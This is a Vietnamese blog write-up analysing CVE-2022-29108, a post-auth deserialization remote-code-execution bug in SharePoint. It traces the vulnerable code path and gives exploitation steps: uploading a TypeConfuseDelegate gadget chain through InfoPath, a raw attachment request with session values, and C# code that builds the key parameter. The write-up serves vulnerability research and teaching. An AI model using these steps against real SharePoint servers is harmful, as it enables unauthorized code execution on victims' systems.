Bình cũ rượu mới và Sharepoint Post-Auth RCE (CVE-2022-29108)

Bình cũ rượu mới và Sharepoint Post-Auth RCE (CVE-2022-29108)

·

6 min read

Dạo gần đây có chút việc liên quan tới Sharepoint nên mình có chuyển qua tìm hiểu setup và debug những bug cũ của Sharepoint.

Gần đây, hồi tháng 2 có 1 bug Deserialization CVE-2022-22005 (đương nhiên là post-auth), được viết writeup khá đầy đủ bởi 1 bạn người Việt (here). Blog được viết rất tâm huyết và chi tiết, mình cũng dựa vào những chi tiết trong blog để setup và debug. Và do bug được viết trong bài dưới đây có liên quan chặt chẽ tới nó nên mình khuyến nghị bạn đọc nên đọc qua bài trên một lượt để có thể dễ dàng đi vào bài này!

image.png

Như đã đề cập ở trên, CVE-2022-29108 có liên quan rất chặt chẽ tới CVE-2022-22005, giống nhau cả về cách thức hoạt động, entrypoint cũng như cách vá. Và khá là chắc chắn nó được tìm ra trong quá trình phân tích 1day!

image.png

#ENVIRONMENT SETUP

Việc setup hoàn toàn dựa theo guide của MS tại đây

Sau khi setup xong thì tiếp tục với các bước Create Web App -> Create site collections

image.png

Ban đầu thì mình nghĩ là bug này (CVE-2022-22005) hoạt động với default setup, tuy nhiên trong quá trình debug thì mới phát hiện ra không hoàn toàn là như vậy! (Không rõ là do setup của mình có khác biệt gì với mọi người hay không?)

  • Điều kiện đầu tiên đó là tính năng "Self-Service Site Creation" bị disable by default, như vậy có nghĩa là một user bình thường với config mặc định sẽ không thể create các sub-site được ¯_(ツ)_/¯

image.png

Một ví dụ trong blog post của ZDI:

image.png

Như vậy nếu muốn hoạt động như trong các bài writeup cũ này thì phải bật tính năng Self-Service Site Creation lên trước.

  • Điều kiện thứ hai đó là CVE-2022-22005 hoạt động dựa vào State-Service của Sharepoint, tính năng này hoàn toàn không tồn tại với một default setup. Đây là một cảnh báo lỗi sẽ gặp trong trường hợp State-Service chưa được bật:

image.png

Bạn đọc có thể tham khảo cách bật service này lên tại đây:

#Create new "State Service" application
$StateService_application = New-SPStateServiceApplication -Name "State Service"

#Create DB for State Service Application
$StateService_applicationDB= New-SPStateServiceDatabase -Name "KnowledgeJunction_SP_StateService" -ServiceApplication $StateService_application

#Create proxy for State Service application
New-SPStateServiceApplicationProxy -Name "KnowledgeJunction_SP_StateService" -ServiceApplication $StateService_application -DefaultProxyGroup

Initialize-SPStateServiceDatabase -Identity $StateService_applicationDB

#ANALYSIS

Cùng xem lại phần sink của CVE-2022-22005 tại ChartPreviewImage.loadChartImage() như sau:

image.png

this.sessionKey được lấy từ Request['sk']:

image.png

sessionKey trên sẽ được dùng để lấy binary data từ StateService qua method CustomSessionState.FetchBinaryData(this.sessionKey):

image.png

Và với CVE-2022-22005, họ đã thêm vào một SerializationBinder để ngăn chặn việc deserialize tùy ý:

image.png

Để tìm biến thể của bug này, mình quay ra focus vào method CustomSessionState.FetchBinaryData(). Method này làm nhiệm vụ lấy ra dữ liệu binary trong StateService. Như vậy đồng nghĩa với việc sẽ phải có một bước xử lý đám Binary Data này sau đó, right?

Dùng tính năng Analyze tìm những nơi có gọi tới CustomSessionState.FetchBinaryData(), mình lấy được một số method như sau:

image.png

Tạm thời bỏ qua những method khác, mình chỉ focus vào method call của ChartAdminPageBase.get_currentWorkingSet(). Content của method này như sau:

image.png

image.png

Với this.CustomSessionStateKey được lấy từ Request['csk']

Tiếp sau đó, Binary Data được lấy từ StateService với this.CustomSessionStateKey, sau đó được truyền thẳng vào BinaryFormatter.Deserialize()

=> RCE

Method call tới ChartAdminPageBase.get_currentWorkingSet() như sau:

image.png

Trong đó có một method call từ ChartPreviewImage.Render() (cùng entrypoint với bug cũ CVE-2022-22005):

image.png

Full stacktrace:

ChartPreviewImage.Render()
   > ChartAdminPageBase.FetchFromCurrentWorkingSet()
        > ChartAdminPageBase.get_currentWorkingSet()
            > BinaryFormatter.Deserialize()

#EXPLOITATION

Việc khai thác hoàn toàn giống với bug CVE-2022-22005 được viết chi tiết tại đây. Tuy nhiên mình vẫn viết lại chi tiết từng bước trong bài này coi như là một cái note để sau này tham khảo!

  • Step 1: stored the payload Đầu tiên là phải download và cài đặt Microsoft InfoPath tại đây.

Dùng Infopath để Create List và publish Form như sau: image.png

image.png

image.png

Sau khi Create xong, ta có thể truy cập và tạo New item sử dụng List này như sau:

image.png

Trong trường hợp click vào New mà nhận được response như sau thì có nghĩa là State Service chưa được enable trong Sharepoint (mình đã đề cập ở đầu bài này):

image.png

Nếu đã enable StateService, chúng ta sẽ được page như sau:

image.png

Upload 1 file tại phần Attachments, với content của file chính là gadgetchain sẽ được dùng để deserialize, tại đây mình dùng gadget TypeConfuseDelegate để RCE (sau khi upload thì cứ để file ở đó, không bấm Save nhé!):

image.png

Quay trở lại burpsuite với request upload file phía trên, trong phần Response, tìm tên file vừa upload. Ở ngay cạnh đó sẽ có một chuỗi dạng "hash_hash", tạm gọi là itemId, lưu cái này lại để sử dụng phía sau cho việc trigger lỗi!

image.png

  • Step 2: Get the payload session id

Như đã đề cập trong writeup của CVE-2022-22005CVE-2021-27076, ta dùng cách trên để lưu lại binary Session data và reuse sau đó.

Idea của phương pháp re-play này dựa vào quá trình xử lý file upload của Infopath!

Khi file được upload lên server thông qua Infopath list như Step 1 phía trên, Sharepoint sẽ cache nội dung của file vào một attachmentId và metadata của file này (bao gồm cả attachmentId) vào một itemId khác rồi trả về itemId đó cho người dùng.

Có thể mô tả bằng hình ảnh như sau:

Untitled Diagram.drawio (1).png

Request tới FormServerAttachments.aspx như sau:

GET /_layouts/15/formserverattachments.aspx?fid=1&sid=AF43TO7UGLAA4TVXQCDXC4WIQFTCAL2MNFZXI4ZPORSXG5BRGEYS6SLUMVWS65DFNVYGYYLUMUXHQ43OFNBXQ53RGRYDISTOJN2VSMTIONCFC4DVG5AWE5K2JBIVCM2HJRHUOOLUNZBU4SSHOJNDEYY=TC6s5QU93BoIZJdquPLcFPGQeeyGztEj4/i9xhD6rw4waUi3tnI60RaX09aC3H70OnD6cKSOK8Bsf4j1b/MmCw==|637879277981015089&key=BAIkY2UyMTcyNmQtNDNmZi00MWEzLTkyMDQtOTgxYTE5ZTc1ODI3QWU5ZjUxYmM2YTgxNzRiNmViMWM3Y2ZhZTY3NmJlNGFkX2UzOWQwYzgyZDAyZjRhYzc4NjQ5NWE5OTA1NjJkYzg0gAhF&dl=ip HTTP/1.1
Host: sharepoint
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0
Cookie: _InfoPath_CanaryValueAF43TO7UGLAA4TVXQCDXC4WIQFTCAL2MNFZXI4ZPORSXG5BRGEYS6SLUMVWS65DFNVYGYYLUMUXHQ43OFNBXQ53RGRYDISTOJN2VSMTIONCFC4DVG5AWE5K2JBIVCM2HJRHUOOLUNZBU4SSHOJNDEYY=TC6s5QU93BoIZJdquPLcFPGQeeyGztEj4/i9xhD6rw4waUi3tnI60RaX09aC3H70OnD6cKSOK8Bsf4j1b/MmCw==|637879277981015089; 
Cache-Control: max-age=0
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: Keep-Alive

Với sid lấy ra từ InfoPath_CanaryValue:

AF43TO7UGLAA4TVXQCDXC4WIQFTCAL2MNFZXI4ZPORSXG5BRGEYS6SLUMVWS65DFNVYGYYLUMUXHQ43OFNBXQ53RGRYDISTOJN2VSMTIONCFC4DVG5AWE5K2JBIVCM2HJRHUOOLUNZBU4SSHOJNDEYY=TC6s5QU93BoIZJdquPLcFPGQeeyGztEj4/i9xhD6rw4waUi3tnI60RaX09aC3H70OnD6cKSOK8Bsf4j1b/MmCw==|637879277981015089

Còn param key mình sử dụng đoạn code sau để lấy, với _serializedKey chính là itemId trả về sau khi upload file ở Step 1:

static void Main()
        {

            MemoryStream ms = new MemoryStream();
            EnhancedBinaryWriter enhancedBinaryWriter = new EnhancedBinaryWriter(ms);
            enhancedBinaryWriter._state = 4;
            enhancedBinaryWriter._dataType = 2;
            enhancedBinaryWriter._itemId = "ce21726d-43ff-41a3-9204-981a19e75827";
            enhancedBinaryWriter._serializedKey = "e9f51bc6a8174b6eb1c7cfae676be4ad_e39d0c82d02f4ac786495a990562dc84";
            enhancedBinaryWriter._size = 1024;
            enhancedBinaryWriter._version = 69;
            enhancedBinaryWriter.Serialize(enhancedBinaryWriter);
            var base64String = Convert.ToBase64String(ms.ToArray());
            Console.WriteLine(base64String);
        }

(Chi tiết hơn về đoạn này thì bạn đọc có thể tham khảo thêm tại blog writeup của CVE-2022-22005, tác giả đã viết rất chi tiết về bước này nên mình sẽ không nhắc lại tại đây!)

Response của request FormServerAttachments.aspx:

image.png

Trong đó, phần cuối file sẽ có một chuỗi cũng có dạng "hash1_hash2", phần hash đầu tiên sẽ trùng với itemId vừa truyền vào.

Đây chính là attachmentId, hoặc cũng chính là payload Id/session Key, ta sẽ sử dụng attachmentId này để truyền vào ChartPreviewImage.aspx và trigger Deserialization:

image.png

image.png

Step by step PoC: youtube.com/watch?v=rHhsAdvfBxc